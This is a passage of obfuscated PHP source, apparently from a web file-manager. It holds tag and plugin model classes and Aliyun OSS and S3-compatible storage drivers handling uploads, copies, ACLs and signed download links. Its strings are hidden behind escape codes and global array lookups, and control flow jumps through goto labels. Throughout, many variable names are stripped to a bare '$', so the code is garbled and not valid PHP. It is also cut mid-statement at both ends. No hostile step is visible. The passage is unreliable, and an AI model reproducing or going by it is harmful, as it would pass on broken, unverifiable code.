{ $ = $ع[$[411]] == $[99] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[817])->move($ع[$[403]], $, $); } Model($[817])->moveClearAuth = !0; $ = array($[412] => 2, $[504] => $ۧ); $߽ = array($[504] => $ﵵÏ); Model($[1912])->where($)->save($߽); Model($[1913])->where($)->save($߽); } $this->_changeChildLevel($ңʭ[$ۧ], $ңʭ[$ﵵÏ], !0); $this->where(array($[498] => $ۧ))->save(array($[498] => $ﵵÏ)); $this->_clearChildrenCache($ңʭ[$ﵵÏ]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\165\x73\145\162\137\x66\x61\x76"; protected function cacheFunctionAlias($۷) { $ =& $_SERVER[Ǿ]; return array($[1914] => array($۷[0], $[1915]), $[1916] => array($۷[0], $[1917])); } protected function get($ԓ) { $ކ =& $_SERVER[Ǿ]; $ = Model($ކ[522])->metaGet($ԓ, $ކ[1918]); $ı = json_decode($, !0); return $ı ? $ı : array($ކ[1919] => $ކ[99], $ކ[373] => array()); } protected function set($Щ, $) { $ߞ =& $_SERVER[Ǿ]; $ = $ ? $ : array($ߞ[1919] => $ߞ[99], $ߞ[373] => array()); Model($ߞ[522])->metaSet($Щ, $ߞ[1918], json_encode($)); return Model($ߞ[522])->metaSet($Щ, $ߞ[1918], json_encode($)); } protected function getByTagID($߹, $) { $ =& $_SERVER[Ǿ]; if (!$߹ || !$) { return !1; } if (!Model($[522])->getInfoSimple($߹)) { return !1; } $̝ = $this->get($߹); if (!$̝ || !isset($̝[$[373]])) { return !1; } $׹ = array_find_by_field($̝[$[373]], $[401], $); return is_array($׹) ? $׹ : !1; } public function listSource($ƚ, $) { $ħͿ =& $_SERVER[Ǿ]; if ($ && !is_array($)) { $ = array($); } $Ѷɬ = $this->listData($ƚ); $ǝۋ = array(); foreach ($Ѷɬ as $ɸ) { $ = $ɸ[$ħͿ[88]]; if (!$) { continue; } if (!isset($ǝۋ[$])) { $ǝۋ[$] = array(); } $ǝۋ[$][] = $ɸ[$ħͿ[427]]; } $𴯒 = array(); foreach ($ǝۋ as $ڡԧ => $ΰ) { $⨶ = !0; if (!$) { $𴯒[] = $ڡԧ; continue; } foreach ($ as $ȸ) { if (!in_array($ȸ, $ΰ)) { $⨶ = !1; break; } } if ($⨶) { $𴯒[] = $ڡԧ; } } if (!$𴯒) { return array(); } $Ł坥 = array($ħͿ[418] => array($ħͿ[419], $𴯒), $ħͿ[504] => $ƚ, $ħͿ[412] => SourceModel::TYPE_GROUP); $Đ = Model($ħͿ[1310])->listSource($Ł坥); if (!$Đ || count($𴯒) == $Đ[$ħͿ[370]][$ħͿ[371]]) { return $Đ; } $ = array(); $ = array_to_keyvalue($Đ[$ħͿ[87]], $ħͿ[22], $ħͿ[403]); $ = array_to_keyvalue($Đ[$ħͿ[86]], $ħͿ[22], $ħͿ[403]); $߬ = array_merge($, $); foreach ($𴯒 as $) { if (!in_array($, $߬)) { $[] = $; } } if ($) { $this->removeBySource($ƚ, $); } return $Đ; } protected function listData($) { $ =& $_SERVER[Ǿ]; $ʷ = array($[1631] => 0, $[483] => array($[1920], 0), $[423] => $[1921] . $); $ = $[1922]; $ = $this->field($)->where($ʷ)->order($[1923])->select(); return $ ? $ : array(); } protected function addToTag($υ, $, $ʛ) { $ =& $_SERVER[Ǿ]; if (!$this->getByTagID($υ, $ʛ) || !$) { return !1; } if (!Model($[817])->pathInfo($)) { return !1; } $ѯ = array($[1631] => 0, $[483] => $ʛ, $[422] => $, $[423] => $[1924] . $υ, $[421] => $[22], $[1812] => 0); if ($this->where($ѯ)->find()) { return !1; } return $this->add($ѯ); } protected function removeFromTag($֎Խ, $䋻, $) { $卢 =& $_SERVER[Ǿ]; if (!$this->getByTagID($֎Խ, $) || !$䋻) { return !1; } if (is_array($䋻)) { $䋻 = array($卢[17], $䋻); } $ = array($卢[1631] => 0, $卢[483] => $, $卢[423] => $卢[1924] . $֎Խ, $卢[422] => $䋻); return $this->where($)->delete(); } protected function removeByTag($Ӻ, $⊞) { $ܣ =& $_SERVER[Ǿ]; if (!$this->getByTagID($Ӻ, $⊞)) { return !1; } $ص = array($ܣ[1631] => 0, $ܣ[483] => $⊞, $ܣ[423] => $ܣ[1924] . $Ӻ); return $this->where($ص)->delete(); } protected function removeBySource($ܤ, $缐) { $ѣ =& $_SERVER[Ǿ]; if (!$ܤ || !$缐) { return !1; } if (is_array($缐)) { $缐 = array($ѣ[17], $缐); } $Ҡ = array($ѣ[1631] => 0, $ѣ[422] => $缐, $ѣ[483] => array($ѣ[999], 0), $ѣ[423] => $ѣ[1924] . $ܤ); return $this->where($Ҡ)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\155\56\160\x6c\165\147\151\156\114\x69\163\164"; public $field = array("\x6e\141\155\145", "\x73\164\x61\164\x75\x73", "\162\x65\x67\151\145\163\164", "\x63\157\x6e\x66\x69\147"); public function loadList($ܯ = false) { $Ҁ = array_to_keyvalue($this->listData(), $_SERVER[Ǿ][42]); if ($ܯ) { return $Ҁ[$ܯ]; } return $Ҁ; } public function init() { $ҟ =& $_SERVER[Ǿ]; Hook::trigger($ҟ[1925]); $ń = $this->loadPluginList(); foreach ($ń as $ܝ => $) { $ = $this->appAllow($ܝ, $); if (!$) { continue; } foreach ($[$ҟ[1926]] as $ => $ה) { Hook::bind($, $ה); } } Hook::trigger($ҟ[1927]); Hook::trigger(ACTION); } public function appAllow($ŧ, $, $Ņ״ = true) { $ =& $_SERVER[Ǿ]; $ߴ = PLUGIN_DIR . $ŧ . $[1928]; if (!is_array($) || !is_array($[$[1926]]) || $[$[742]] != 1 || !is_file($ߴ)) { return !1; } if ($GLOBALS[$[505]] == 1) { return !0; } if ($Ņ״ && !Action($[1929])->checkAuth($ŧ)) { return !1; } return !0; } public function unInstall($ԗ) { $ =& $_SERVER[Ǿ]; $ = $this->loadList($ԗ); if (file_exists(PLUGIN_DIR . $ԗ)) { Hook::apply($ԗ . $[1930]); } $this->remove($[$[401]]); } public function changeStatus($̴, $) { $򅇹 =& $_SERVER[Ǿ]; $՝ = $this->loadList($̴); if ($) { Hook::apply($̴ . $򅇹[1931]); } $this->update($՝[$򅇹[401]], array($򅇹[1932] => $)); } public function appRegist($, $) { $ܸڝ =& $_SERVER[Ǿ]; $ܭ = $this->loadList($); if ($ܭ) { $this->update($ܭ[$ܸڝ[401]], array($ܸڝ[1926] => $)); } else { $׶ = array($ܸڝ[42] => $, $ܸڝ[1926] => $, $ܸڝ[742] => 0, $ܸڝ[16] => $this->getConfigDefault($)); $this->insert($׶); } } public function getConfigDefault($ֹ) { $ѡ =& $_SERVER[Ǿ]; $ = array(); $ = $this->getPackageJson($ֹ); if (!$ && is_array($[$ѡ[1933]])) { return $; } foreach ($[$ѡ[1933]] as $ => $˗) { if (!isset($˗[$ѡ[378]]) || isset($[$])) { continue; } $[$] = $˗[$ѡ[378]]; } return $; } public function getPackageJson($ω) { return Hook::apply($ω . $_SERVER[Ǿ][1934]); } public function getConfig($΢, $Ԗ = false) { $ =& $_SERVER[Ǿ]; $ = array(); $ܸ = $this->loadList($΢); if ($ܸ && is_array($ܸ[$[16]])) { $ = $ܸ[$[16]]; } if (!$ || $Ԗ) { $ = $this->getConfigDefault($΢); } return $; } public function setConfig($, $ = false) { $ =& $_SERVER[Ǿ]; $ = $this->loadList($); if (!$) { return !1; } $ = $[$[16]]; if ($ == !1) { $ = array(); $ = $this->getConfigDefault($); } foreach ($ as $ǨŪ => $일) { $[$ǨŪ] = is_string($일) ? trim($일) : $일; } $this->update($[$[401]], array($[16] => $)); } public function viewList() { $ =& $_SERVER[Ǿ]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ = array(); foreach ($ as $ => $û) { unset($û[$[1926]], $û[$[16]]); $ = PLUGIN_DIR . $û[$[42]] . $[1928]; if (!is_file($)) { continue; } $Њ = Hook::apply($û[$[42]] . $[1934]); if (is_array($Њ)) { $[$] = array_merge($û, $Њ); } } return $; } private function loadPluginList() { $ԥ =& $_SERVER[Ǿ]; $ŁǞ = $this->loadList(); if (strtolower(MOD) == $ԥ[1935]) { return $ŁǞ; } $Ę = Hook::trigger($ԥ[1936], $ŁǞ); if ($ŁǞ && !$Ę) { die; } return $Ę ? $Ę : $ŁǞ; } private function pluginScan($Ӟ) { $됰 =& $_SERVER[Ǿ]; recursion_dir(PLUGIN_DIR, $ȥ, $, 0); foreach ($ȥ as $) { $ = get_path_this($); if (isset($Ӟ[$]) || !file_exists($ . $됰[1937]) || !file_exists($ . $됰[1928])) { continue; } Hook::apply($ . $됰[1931]); } } } goto e; a۰: class UserTagModel extends ModelBaseLight { public $optionType = "\125\x73\145\162\x2e\164\141\147\x4c\151\x73\164"; public $modelType = "\x55\x73\145\x72\x4f\x70\x74\151\x6f\156"; public $field = array("\x6e\141\155\145", "\163\164\171\154\145", "\163\157\162\164"); public function listData($ = false, $펠 = "\163\157\x72\x74", $ܺۜ = false) { return parent::listData($, $펠, $ܺۜ); } public function remove($) { return parent::remove($); } public function add($ѯ, $ڲ¶ = "\x6c\x61\142\x65\x6c\55\147\162\x65\171\55\156\x6f\162\155\x61\x6c") { $ͅ =& $_SERVER[Ǿ]; if ($this->findByName($ѯ)) { return !1; } $ = array($ͅ[421] => $ѯ, $ͅ[484] => $ڲ¶, $ͅ[1812] => $this->getSort($ͅ[262]) + 1); return parent::insert($); } public function update($ü§, $أΩ) { $ =& $_SERVER[Ǿ]; $ǜ = $this->listData($ü§); $Ʌ = $this->findByName($أΩ[$[42]]); if (!$ǜ || $Ʌ && $Ʌ[$[401]] != $ǜ[$[401]]) { return !1; } return parent::update($ü§, $أΩ); } public function moveTop($Ν) { $ =& $_SERVER[Ǿ]; $Ҙ = parent::listData(); $΅ = $this->getSort($[261]); foreach ($Ҙ as &$) { if ($[$[401]] == $Ν) { $[$[1831]] = $΅; continue; } $[$[1831]] += 1; } unset($); return parent::resetData($Ҙ); } public function moveBottom($) { $ =& $_SERVER[Ǿ]; $Ҥ = $this->getSort($[262]) + 1; return parent::update($, array($[1831] => $Ҥ)); } public function resetSort($) { $ =& $_SERVER[Ǿ]; $ѻʢ = array(); $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $++) { $ѻʢ[$[$] . $[22]] = $ + 1; } $́ = parent::listData(); foreach ($́ as &$Ĝ) { $놁 = $ѻʢ[$Ĝ[$[401]]]; $Ĝ[$[1831]] = $놁 ? $놁 : $Ĝ[$[1831]]; } unset($Ĝ); return parent::resetData($́); } private function getSort($®) { $ =& $_SERVER[Ǿ]; $՛Ն = parent::listData(); $ = array_to_keyvalue($՛Ն, $[22], $[1831]); if (!$) { $ = array(0); } $ = $® == $[262] ? max($) : min($); return intval($); } } goto D‘; Eև: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[Ǿ][221]); } public function fileOutLink($š㺮) { $ =& $_SERVER[Ǿ]; if (substr($š㺮, 0, 7) == $[1308]) { $š㺮 = $[1309] . substr($š㺮, 7); } header($[168] . $š㺮); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public function __construct($ħ) { parent::__construct(); include_once SDK_DIR . $_SERVER[Ǿ][1365]; $this->_init($ħ); } public function _init($⳦) { $ =& $_SERVER[Ǿ]; foreach ($⳦ as $ => $藔) { if (isset($this->{$})) { $this->{$} = $藔; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1366] . LNG($[1367])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[Ǿ]; $ = new OSS\Model\CorsConfig(); $ = new OSS\Model\CorsRule(); $->addAllowedOrigin($[1368]); $->addAllowedMethod($[1369]); $->addAllowedMethod($[1370]); $->addAllowedMethod($[1371]); $->addAllowedMethod($[1372]); $->addAllowedMethod($[167]); $->setMaxAgeSeconds(600); $->addExposeHeader($[1373]); $->addAllowedHeader($[1368]); $->addRule($); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $ŕ) { return !1; } return !0; } public function getBucketCors() { $غ =& $_SERVER[Ǿ]; $ݍ = null; try { $ݍ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $Δ) { return null; } if (!$ݍ || !($먨 = $ݍ->getRules())) { return null; } $Ή = $먨[0]->getAllowedOrigins(); $פҵ = $먨[0]->getAllowedMethods(); $ʹ = $먨[0]->getMaxAgeSeconds(); $Ȃ = $먨[0]->getExposeHeaders(); $؃Ǝ = $먨[0]->getAllowedHeaders(); return array($غ[190] => isset($Ή[0]) ? $Ή[0] : $غ[22], $غ[194] => $פҵ, $غ[1374] => $ʹ, $غ[1375] => isset($Ȃ[0]) ? $Ȃ[0] : $غ[22], $غ[192] => isset($؃Ǝ[0]) ? $؃Ǝ[0] : $غ[22]); } public function isBucketCors() { $ =& $_SERVER[Ǿ]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[190]] != $[191] || $[$[192]] != $[191]) { return !1; } $Ա = array_map($[193], $[$[194]]); if (!is_array($Ա)) { $Ա = array(); } $ = array($[195], $[196], $[197], $[198], $[199]); $Ņ = array_diff($, $Ա); return empty($Ņ); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ڇ = $this->setContent($, $); if ($ڇ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($ǵ, $ = REPEAT_SKIP) { if ($this->_isFolder($ǵ)) { return $this->getPathOuter($ǵ); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($ǵ)); } catch (OSS\Core\OssException $禡ͯ) { return !1; } return $this->getPathOuter($ǵ); } private function fileList($, $Č = '', $ˤ = 0) { $ =& $_SERVER[Ǿ]; $ = trim($, $[18]); $ = empty($) && $ !== $[200] ? $[22] : $ . $[18]; $ = $[22]; $ = 1000; $я = $this->listItemCache === !1 ? !1 : !0; $ = $а = array(); while (!0) { check_abort(); $Ƨ = array($[1376] => $Č, $[1377] => $, $[1378] => $, $[1379] => $); try { $҄ = $this->client->listObjects($this->bucket, $Ƨ); } catch (OSS\Core\OssException $) { break; } $ = $҄->getNextMarker(); $ʍ = $҄->getObjectList(); $ňԻ = $҄->getPrefixList(); foreach ($ʍ as $) { if ($->getKey() == $) { continue; } $ƞ = $->getKey(); $뿳 = $->getSize(); $ٖ = $->getLastModified(); $β = $ˤ ? array($[42] => $ƞ, $[90] => $뿳, $[206] => strtotime($ٖ)) : $ƞ; $֭ = $뿳 == 0 && substr($ƞ, strlen($ƞ) - 1, 1) == $[18] ? !0 : !1; if ($я) { $this->cacheMethod($[208], $ƞ, $֭); $this->cacheMethod($[209], $ƞ, array($[90] => $뿳, $[1380] => $뿳, $[96] => strtotime($ٖ), $[1381] => $ٖ)); } if ($֭) { $[] = $ƞ; continue; } $а[] = $β; } foreach ($ňԻ as $Ơ) { $[] = $Ơ->getPrefix(); if ($я) { $this->cacheMethod($[208], $ƞ, !0); } } if ($ === $[22]) { break; } } if ($я) { $this->cacheMethod($[208], $, !0); } return array($[87] => $, $[86] => $а); } public function copyFile($ۉ̓, $Ѕ) { $ = $this->size($ۉ̓); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $ۉ̓, $this->bucket, $this->pathEncode($Ѕ)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($Ѕ); } $ = $this->multiCopyObject($ۉ̓, $Ѕ, $); return $ ? $this->getPathOuter($Ѕ) : !1; } private function multiCopyObject($, $ʶ͈, $Ո) { $ =& $_SERVER[Ǿ]; try { $ = array(); if ($ĵ羑 = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1382] => $ĵ羑)); } $Ȳ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ʶ͈), $); $݃ = 1; $ = 0; $ڨ = array(); $ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($Ո, $); foreach ($ as $ => $雀) { $ = $ + (int) $雀[$[1383]]; $ = (int) $雀[$[341]] + $ - 1; $ = array($[1384] => $, $[1385] => $); $ڨ[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($ʶ͈), $݃, $Ȳ, $); $݃ = $݃ + 1; } $Ħ = array(); foreach ($ڨ as $ => $) { $Ħ[] = array($[1386] => $ + 1, $[1387] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($ʶ͈), $Ȳ, $Ħ); } catch (OSS\Core\OssException $ϲ) { return !1; } return !0; } public function moveFile($, $Ō) { if ($this->copyFile($, $Ō)) { $this->remove($); return $this->getPathOuter($Ō); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $͵) { return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[Ǿ]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $貳 = trim($, $[18]) . $[18]; if (!empty($) && $ !== $[200] && !in_array($貳, $[$[87]])) { $[$[87]][] = $貳; } $ = $this->delByBatch($[$[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$[87]]); if (!$) { return !1; } return $this->delFile($貳); } private function delByBatch($Ɗ) { foreach (array_chunk($Ɗ, 1000) as $Ĉ) { try { $this->client->deleteObjects($this->bucket, $Ĉ); } catch (OSS\Core\OssException $ً) { return !1; } } return !0; } public function rename($钄, $) { return $this->renameObject($钄, $); } private function fileInfo($, $ܶ = false, $ު = array()) { $ =& $_SERVER[Ǿ]; $ӳ = array($[42] => $this->pathThis($), $[88] => $this->getPathOuter($), $[43] => $[202], $[90] => isset($ު[$[90]]) ? $ު[$[90]] : 0, $[177] => $this->ext($)); if ($ܶ) { return $ӳ; } $ӳ[$[203]] = $ӳ[$[96]] = 0; $ӳ[$[204]] = $ӳ[$[205]] = !0; if (empty($ު)) { $ԗ = $this->objectMeta($); if (!$ԗ) { return $ӳ; } $ު = array($[96] => strtotime($ԗ[$[1381]]), $[90] => $ԗ[$[1380]] + 0); } if (isset($ު[$[90]])) { $ӳ[$[90]] = $ު[$[90]]; } if (isset($ު[$[96]])) { $ӳ[$[96]] = $ު[$[96]]; } if (isset($ު[$[206]]) && !trim($ӳ[$[96]])) { $ӳ[$[96]] = $ު[$[206]]; } return $ӳ; } private function folderInfo($ܰ, $ = false, $֥ = array()) { $│ =& $_SERVER[Ǿ]; $ = array($│[42] => $this->pathThis($ܰ), $│[88] => $this->getPathOuter($│[18] . $ܰ), $│[43] => $│[89]); if ($) { return $; } $[$│[203]] = $[$│[96]] = 0; $[$│[204]] = $[$│[205]] = !0; if (empty($֥)) { $ܰ = rtrim($ܰ, $│[18]) . $│[18]; $ޣ = $this->objectMeta($ܰ); if (!$ޣ) { return $; } $֥ = array($│[203] => $ޣ[$│[511]][$│[1388]], $│[96] => strtotime($ޣ[$│[1381]])); } if (isset($֥[$│[96]])) { $[$│[96]] = $֥[$│[96]]; } if (isset($֥[$│[203]])) { $[$│[203]] = $֥[$│[203]]; } return $; } public function listPath($܍, $ = false) { $ =& $_SERVER[Ǿ]; $œ = $this->fileList($܍, $[18], !0); foreach ($œ[$[87]] as $ => $) { $œ[$[87]][$] = $this->folderInfo($, $, $); } foreach ($œ[$[86]] as $ => $) { $œ[$[86]][$] = $this->fileInfo($[$[42]], $, $); } return $œ; } public function has($, $⩂ = false, $ٓ = true) { $ =& $_SERVER[Ǿ]; $ = trim($, $[18]); $ٿЀٺ = empty($) && $ !== $[200] ? $[22] : $ . $[18]; $ַ = $[22]; $ = 500; $ڢ = $ɝ = 0; while (!0) { check_abort(); $ߡΞ = array($[1376] => $[18], $[1377] => $ٿЀٺ, $[1378] => $, $[1379] => $ַ); try { $ = $this->client->listObjects($this->bucket, $ߡΞ); } catch (OSS\Core\OssException $Ҳϗ) { break; } $ַ = $->getNextMarker(); $膳 = $->getObjectList(); $— = $->getPrefixList(); if ($⩂) { if (count($膳) > 1 || count($膳) == 1 && $膳[0]->getKey() != $ٿЀٺ) { $ڢ += count($膳) - 1; } if (!empty($—)) { $ɝ += count($—); } if ($ַ === $[22]) { break; } continue; } if ($ٓ) { if (!empty($膳)) { if (count($膳) > 1 || $膳[0]->getKey() != $ٿЀٺ) { return !0; } } } else { if (!empty($—)) { return !0; } } if ($ַ === $[22]) { break; } } if ($⩂) { return array($[212] => $ڢ, $[213] => $ɝ); } return !1; } public function listAll($ٚ) { $ܗ՟ =& $_SERVER[Ǿ]; $庙 = $this->fileList($ٚ, $ܗ՟[22], !0); $ʠ = array(); foreach ($庙[$ܗ՟[86]] as $) { $ʠ[$[$ܗ՟[42]]] = $[$ܗ՟[90]]; } foreach ($庙[$ܗ՟[87]] as $) { if (is_string($)) { $ʠ[$] = 0; } } return $this->listAllFiles($ٚ, array_keys($ʠ), $ʠ); } public function canRead($) { $嚀 =& $_SERVER[Ǿ]; $辊И = $this->pathAcl($); return $辊И == $嚀[1389] || $辊И == $嚀[550] ? !0 : !1; } public function canWrite($) { $ = $this->pathAcl($); return $ == $_SERVER[Ǿ][550] ? !0 : !1; } public function pathAcl($؛) { $ =& $_SERVER[Ǿ]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $Š = $this->client->getObjectAcl($this->bucket, $this->pathEncode($؛)); } catch (OSS\Core\OssException $) { return !1; } $ = $Š == $[47] ? $this->bucketAcl : $Š; if ($ == $[1390]) { return $[1389]; } if ($ == $[1391]) { return $[550]; } return $; } private function chmodPath($, $֠̾ں = '') { $Х =& $_SERVER[Ǿ]; $̵ = empty($֠̾ں) ? $Х[1391] : $֠̾ں; $ᇪ = array($Х[47], $Х[201], $Х[1390], $Х[1391]); if (!in_array($̵, $ᇪ)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $̵); } catch (OSS\Core\OssException $ďʃ) { return !1; } return !0; } public function getContent($Ğݳ) { return $this->fileSubstr($Ğݳ, -1); } public function setContent($ކ, $ = '') { $ك =& $_SERVER[Ǿ]; try { $ܭű = $this->trafficLimit($ك[1392]); $М = $this->client->putObject($this->bucket, $this->pathEncode($ކ), $, $ܭű); } catch (OSS\Core\OssException $) { return !1; } $׹ϗ = array($ك[1382] => trim($М[$ك[1393]], $ك[127]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($ކ))); $this->updateObjMeta($ކ, $׹ϗ); return isset($М[$ك[1394]][$ك[1341]]) ? !0 : !1; } private function updateObjMeta($ܖ, $涔) { $ܖ = $this->pathEncode($ܖ); try { $ = array(OSS\OssClient::OSS_HEADERS => $涔); $this->client->copyObject($this->bucket, $ܖ, $this->bucket, $ܖ, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function upload($㰧, $, $ = false, $ӱ = REPEAT_REPLACE) { $А =& $_SERVER[Ǿ]; $ɨ = trim($㰧, $А[18]); $ҋ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($А[1382] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($㰧))); $ҋ = $this->trafficLimit($А[1392], $ҋ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($ɨ), $, $ҋ); } catch (OSS\Core\OssException $՟) { return !1; } return $this->getPathOuter($㰧); } public function getHost() { $뵒 =& $_SERVER[Ǿ]; $Ǯ = explode($뵒[186], parent::getHost()); return $Ǯ[0] . $뵒[186] . $this->bucket . $뵒[20] . $Ǯ[1]; } public function uploadFormData($ڝ, $Փ = 3600) { $ʻ =& $_SERVER[Ǿ]; if (!($ց = $this->getHost())) { return !1; } $ = $Փ; $߮ = date($ʻ[1395], time() + $); $澄 = new DateTime($߮); $ϖ = $澄->format(DateTime::ISO8601); $ = strpos($ϖ, $ʻ[300]); $ϖ = substr($ϖ, 0, $) . $ʻ[1396]; $ٿ = 1048576000 * 5; $ = $this->pathFather($ڝ); $ߗ = array($ʻ[1295] => $ϖ, $ʻ[1296] => array(array($ʻ[1397], 0, $ٿ), array($ʻ[1299], $ʻ[1300], $))); $ = base64_encode(json_encode($ߗ)); $Ł = base64_encode(hash_hmac($ʻ[236], $, $this->secret, !0)); $٥ = array($ʻ[1305] => $, $ʻ[1398] => $this->accessKey, $ʻ[1301] => $ʻ[1293], $ʻ[1399] => $Ł, $ʻ[184] => $ց); $٥ = $this->trafficLimit($ʻ[1392], $٥); return $٥; } public function multiUploadFormData($݅ï, $ = 3600) { $ =& $_SERVER[Ǿ]; if (!($ = $this->getHost())) { return !1; } $ = $this->trafficLimit($[1392]); $ǂ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($݅ï), $); return array($[228] => $ǂ, $[184] => $ . $[18] . $this->pathEncode($݅ï), $[229] => gmdate($[1400]), $[105] => $݅ï); } public function multiUploadAuthData($߿, $Č = array()) { $Ο =& $_SERVER[Ǿ]; $༖ = isset($Č[$Ο[229]]) ? $Č[$Ο[229]] : gmdate($Ο[1400]); $ = isset($Č[$Ο[177]]) ? $Č[$Ο[177]] : $Ο[22]; $ = $߿; if (isset($Č[$Ο[105]])) { $ = $Č[$Ο[105]]; unset($Č[$Ο[105]]); } if (isset($Č[$Ο[230]])) { $Č[$Ο[229]] = $༖; return $this->listUploadParts($, $Č); } $ = array($Ο[231], $Ο[22], $Ο[128], $༖, "\170\x2d\x6f\x73\163\x2d\x64\x61\x74\145\72{$༖}", $Ο[18] . $this->bucket . $Ο[18] . $ . $); if (strpos($, $Ο[232]) === 0) { $[0] = $Ο[233]; if ($٩ = $this->trafficLimit($Ο[1392])) { $ = $Ο[1401]; array_splice($, 5, 0, $ . $Ο[4] . $٩[$]); } } if (isset($Č[$Ο[234]]) && $Č[$Ο[234]] == $Ο[235]) { $[0] = $Ο[235]; } if (!empty($Č[$Ο[1402]])) { $ų = array_merge(array($[4]), $Č[$Ο[1402]]); sort($ų); $[4] = implode($Ο[11], $ų); } $继 = implode($Ο[11], $); $ܩͦ = base64_encode(hash_hmac($Ο[236], $继, $this->secret, !0)); $ = $Ο[1366] . $this->accessKey . $Ο[4] . $ܩͦ; if (strpos($, $Ο[232]) === 0) { $ = array($Ο[238] => $, $Ο[229] => $༖); if ($٩) { $ = array_merge($, $٩); } } return $; } public function listUploadParts($Պ, $ݍ) { $ =& $_SERVER[Ǿ]; $ݾ = parse_url_query($ݍ[$[177]]); $ͺĦ = $this->client->listParts($this->bucket, $this->pathEncode($Պ), $ݾ[$[228]]); $ = $ͺĦ->getListPart(); $ܘ = array(); foreach ($ as $鶣գ) { $ܘ[] = array($[1386] => $鶣գ->getPartNumber(), $[1387] => trim($鶣գ->getETag(), $[127])); } unset($ݍ[$[230]], $ݍ[$[234]]); $̟´ = $this->multiUploadAuthData($Պ, $ݍ); if (empty($̟´)) { return !1; } return array($[238] => $̟´, $[229] => $ݍ[$[229]], $[240] => $ܘ); } public function download($, $) { if ($this->isFolder($)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($_SERVER[Ǿ][120], $); $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $䐔) { return !1; } return $; } public function fileSubstr($, $指 = 0, $򯷂 = false) { if ($指 === -1) { $Ē = array(); } else { if ($򯷂 === !1) { $յ = $this->size($); } else { $յ = $指 + $򯷂 - 1; } $Ē = array(OSS\OssClient::OSS_RANGE => "{$指}\x2d{$յ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $Ē); } catch (OSS\Core\OssException $د) { think_exception($د->getMessage()); return !1; } } private function trafficLimit($镇, $ԝ = array()) { $ޏЊ =& $_SERVER[Ǿ]; if ($镇 == $ޏЊ[1392] && $this->isUploadServer() || $镇 == $ޏЊ[120] && $this->isFileOutServer()) { return $ԝ; } $ېߢ = floatval($GLOBALS[$ޏЊ[16]][$ޏЊ[100]][$ޏЊ[118]][$镇]) * 1024 * 1024 * 8; if (!$ېߢ) { return $ԝ; } $ېߢ = $ېߢ < 819200 ? 819200 : ($ېߢ > 838860800 ? 838860800 : $ېߢ); $ԝ[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($ېߢ); return $ԝ; } public function link($ԟ, $ = array()) { $ܨ =& $_SERVER[Ǿ]; if (!$this->exist($ԟ) || $this->isFolder($ԟ)) { return !1; } try { $ = $this->trafficLimit($ܨ[120], $); $仡ų = $this->client->signUrl($this->bucket, $this->pathEncode($ԟ), 3600 * 12, $ܨ[235], $); return $this->getCdnLink($仡ų); } catch (OSS\Core\OssException $х) { return !1; } } public function fileOut($㾿lj, $⡏ = false, $ = false, $Ȇۥ = '') { $ɡ =& $_SERVER[Ǿ]; if ($this->isFileOutServer()) { return $this->fileOutServer($㾿lj, $⡏, $, $Ȇۥ); } if (!$) { $ = $this->pathThis($㾿lj); } $ = rawurlencode($); $ = get_file_mime(get_path_ext($)); if ($ == $ɡ[222]) { return parent::fileOut($㾿lj, $⡏, $, $Ȇۥ); } $⡏ = $⡏ ? $ɡ[1403] : $ɡ[1404]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $ɡ[1405] . rawurlencode("{$⡏}\x3b\x66\151\x6c\145\156\141\155\x65\75{$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $ɡ[1406] . rawurlencode($); $öᰑ = $this->link($㾿lj, $); $this->fileOutLink($öᰑ); } public function fileOutServer($Э, 